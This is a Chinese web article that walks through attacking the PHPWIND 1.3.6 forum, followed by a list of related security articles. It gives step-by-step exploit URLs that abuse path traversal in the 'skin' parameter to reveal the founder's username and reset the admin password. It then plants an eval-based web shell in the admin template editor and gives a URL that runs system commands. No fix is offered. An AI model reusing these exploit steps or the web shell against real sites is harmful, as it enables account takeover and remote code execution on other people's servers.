PHPWIND1.3.6論壇漏洞分析

PHPWIND 論壇是一款流行的PHP 論壇,界面美觀,功能也比較強(qiáng)大。但大家仔細(xì)看一下會(huì)發(fā)現(xiàn)不論是從界面功能還是代碼風(fēng)格,它和 DISCUZ 都非常相似,具體原因我想也就不用說了,畢竟 DISCUZ 出來比它要早很多。但安全上它沒有繼承 DISCUZ 的優(yōu)點(diǎn), DISCUZ 論壇安全性非常好,而且商家也對此非常重視安全問題,國內(nèi)論壇中不論從功能還是安全 , 第一非DISCUZ 莫屬。PHPWIND 雖然代碼嚴(yán)謹(jǐn),邏輯清楚,但還是有一些漏洞,而且還相當(dāng)嚴(yán)重。
一 skin 變量未過濾導(dǎo)致管理員密碼更改
廢話少說,我們來分析漏洞。漏洞代碼如下 (header.php) :
!function_exists('readover') && exit('Forbidden');
if (!$skin) $skin=$db_defaultstyle;
if(file_exists(R_P."data/style/$skin.php")){
include_once(R_P."data/style/$skin.php");
}else{
include_once(R_P."data/style/wind.php");
}
$yeyestyle=='no' ? $i_table="bgcolor=$tablecolor" : $i_table='class=i_table';
if($groupid=='guest' && $db_regpopup=='1'){
$head_pop='head_pop';
} else{
$head_gotmsg=$winddb['newpm']==1 ? ' 您有新消息 ':' 短消息 ';
}
require_once(PrintEot('css'));
require_once(PrintEot('header'));
?>
其中 $skin 變量是我們提交的,在運(yùn)行到這里之前,只有一個(gè)地方處理過 $skin 變量:
$_COOKIE['skinco'] && empty($skin) && $skin=$_COOKIE['skinco'];
語句判斷 COOKIE 中是否已經(jīng)包含 skinco 的信息,如果有了,就取得 COOKIE 中的值,這是處理個(gè)人頁面風(fēng)格用的。但如果我們的 COOKIE 中沒有這個(gè)值 , 那么我們提交的 skin 變量就會(huì)一點(diǎn)不變的傳到上面的漏洞代碼。有人問,如果系統(tǒng)關(guān)了 register_globals 會(huì)怎么樣,關(guān)了也沒關(guān)系。
if(!ini_get('register_globals') || !get_magic_quotes_gpc()){
@extract($_POST,EXTR_SKIP);
@extract($_GET,EXTR_SKIP);
@extract($_COOKIE,EXTR_SKIP);
@extract($_FILES,EXTR_SKIP);
}
系統(tǒng)在 global.php 中又給釋放了。所以我們不管是用 GET 方法或者 POST 方法都可以把構(gòu)造好的 SKIN 變量傳給程序。那傳給程序有什么用呢?這是重點(diǎn)!
我們看這段代碼:
if(file_exists(R_P."data/style/$skin.php")){
include_once(R_P."data/style/$skin.php");
}…
含義是如果( R_P.”data/style/$skin.php” )文件存在就把它包含進(jìn)來,我也不分析有幾種用法了,我直接給出我最簡單危害最大的利用方法。
我們把 skin 的值設(shè)為 ”../../admin/manager” ,那就變成了 R_P.”data/style/../../admin/manager.php”, 很顯然,這是論壇管理用戶的一個(gè)程序,存在而且可執(zhí)行。這個(gè)程序是專門用來修改 sql_config.php 的,這里面都是重要數(shù)據(jù),包括論壇創(chuàng)始人的用戶名和密碼。我們只要構(gòu)造好就可以改它的密碼,直接登陸后臺(tái)管理。在改之前我們可以先查看創(chuàng)始人的用戶名。
我給出查看的方法,大家可以比對論壇程序自己分析一下,我就不在贅述了。
http://localhost/phpwind/faq.php?skin=../../admin/manager&tplpath=admin
上面是我機(jī)子上的截圖,其中 tplpath 變量非常重要,必須是 admin ,它是一個(gè) template 路徑,參數(shù)不對就不會(huì)顯示了。
好我們看了知道了用戶名,就可以改它的密碼了。
http://localhost/phpwind/faq.php?skin=../../admin/manager&username=admin&password=xiaohua&check_pwd=xiaohua&action=go
上面的幾個(gè)參數(shù)的含義大家一看就明白,那個(gè) username 必須添上面看到的用戶名,密碼自己設(shè),至于為什么要按上面的方法構(gòu)造,其實(shí)很簡單 manager.php 需要哪些變量我們就提交哪些變量,不需要的我們不管。上面的變量是它所需要的,所以我們就提交這些變量,注意上面的 action 必須有值。提交后系統(tǒng)什么都不顯示,沒關(guān)系,我們再用第一次的方法就會(huì)發(fā)現(xiàn)兩次密碼不一樣,證明我們改成功了。如圖 2 所示:
密碼改了,我們就可以從管理頁面登陸了。
http://localhost/phpwind/admin.php
二 后臺(tái)利用 上傳 SHELL
本來改了管理員密碼已經(jīng)能控制論壇了,但我我覺得不傳 SHELL 總覺得事情只做了一半。如何上傳 SHELL ,這就要用到后臺(tái)的功能了。 PHPWIND 不知是想給管理員非常大的權(quán)限還是認(rèn)為沒有人有能力進(jìn)入后臺(tái),后臺(tái)的權(quán)利真是大的驚人。其實(shí)我們不靠上面的方法,用跨站手段得到管理員密碼也不難,不知寫論壇的人是怎么想的。
好,我就隨便揀一處危害比較大的地方給大家分析一下,分析一下風(fēng)格模板設(shè)置那個(gè)地方。
點(diǎn)一下左邊的連接,右邊會(huì)顯示 /template/wind/css.htm 。
系統(tǒng)提供的功能簡化理解就是可以任意編輯這個(gè) CSS 文件,為論壇的界面做個(gè)性化設(shè)置,而且論壇運(yùn)行的時(shí)候會(huì) include 這個(gè) css 文件,雖然它的擴(kuò)展名是 .htm ,但是照樣會(huì)和其他 PHP 文件一樣運(yùn)行。如果我們能象這個(gè) css.htm 文件寫一些 PHP 代碼,就相當(dāng)于我們寫一個(gè) SHELL ,是不是很簡單。篇幅有限,我直接給出利用方法。把那個(gè)右邊的 textarea 里面的換成下面的,然后點(diǎn)提交就行了。
eval($_GET[myphpcode]);
?>
大家最好按上面的構(gòu)造,當(dāng)然也可以自己構(gòu)造,不過上面的方法我做過實(shí)驗(yàn),成功率很高。
保存之后,用下面的方法就可以利用了。
http://localhost/phpwind/faq.php?myphpcode=echo%20system(dir);exit ;
可以運(yùn)行其它PHP語句,在此不在贅述。
(本文由責(zé)任編輯 pasu 整理發(fā)布)
相關(guān)文章
2019最新RDP遠(yuǎn)程桌面漏洞官方補(bǔ)丁(針對win2003、win2008)
Windows系列服務(wù)器于2019年5月15號(hào),被爆出高危漏洞,windows2003、windows2008、windows2008 R2、windows xp系統(tǒng)都會(huì)遭到攻擊,該服務(wù)器漏洞利用方式是通過遠(yuǎn)程桌面端口332021-07-25寶塔面板 phpmyadmin 未授權(quán)訪問漏洞 BUG ip:888/pma的問題分析
這篇文章主要介紹了寶塔面板 phpmyadmin 未授權(quán)訪問漏洞 BUG ip:888/pma,本文給大家介紹的非常詳細(xì),對大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2020-08-24CPU幽靈和熔斷漏洞是什么?Intel為大家簡單易懂的科普了一番
不久前讓整全行業(yè)緊張、全球用戶恐慌的Spectre幽靈、Meltdown熔斷兩大漏洞事件剛剛告一段落了,那么這兩個(gè)漏洞到底是什么?可能還有很多人不是很清楚,想了解的朋友跟著小2018-03-21- 2017年5月12日,WannaCry蠕蟲通過MS17-010漏洞在全球范圍大爆發(fā),感染了大量的計(jì)算機(jī),該蠕蟲感染計(jì)算機(jī)后會(huì)向計(jì)算機(jī)中植入敲詐者病毒,導(dǎo)致電腦大量文件被加密,本文對其2017-05-17
- 大部分的用戶可能不要了解文件上傳漏洞,下面小編就為大家具體的講解什么事文件上傳漏洞以及文件上傳漏洞的幾種方式2016-11-02
- 漏洞檢測工具用語有高危漏洞,中危漏洞,低危漏洞以及漏洞的危害介紹,本文介紹的非常詳細(xì),具有參考解決價(jià)值,感興趣的朋友一起看看吧2016-10-11
漏洞 自動(dòng)化腳本 論漏洞和自動(dòng)化腳本的區(qū)別
漏洞無處不在,它是在硬件、軟件、協(xié)議的具體實(shí)現(xiàn)或系統(tǒng)安全策略上存在的缺陷,從而可以使攻擊者能夠在未授權(quán)的情況下訪問或破壞系統(tǒng)2016-09-29手把手教你如何構(gòu)造Office漏洞POC(以CVE-2012-0158為例)
近年來APT追蹤盛行,最常見的就是各種以釣魚開始的攻擊,不僅僅有網(wǎng)站掛馬式釣魚,也有魚叉式郵件釣魚,下面小編就為大家介紹office漏洞CVE-2012-0158,一起來看看吧2016-09-28- SSL(安全套接字層)逐漸被大家所重視,但是最不能忽視的也是SSL得漏洞,隨著SSL技術(shù)的發(fā)展,新的漏洞也就出現(xiàn)了,下面小編就為大家介紹簡單七步教你如何解決關(guān)鍵SSL安全問題2016-09-23
Python 爬蟲修養(yǎng)-處理動(dòng)態(tài)網(wǎng)頁
在爬蟲開發(fā)中,大家可以很輕易地 bypass 所謂的 UA 限制,甚至用 scrapy 框架輕易實(shí)現(xiàn)按照深度進(jìn)行爬行。但是實(shí)際上,這些并不夠。關(guān)于爬蟲的基礎(chǔ)知識(shí)比如數(shù)據(jù)處理與數(shù)據(jù)存2016-09-12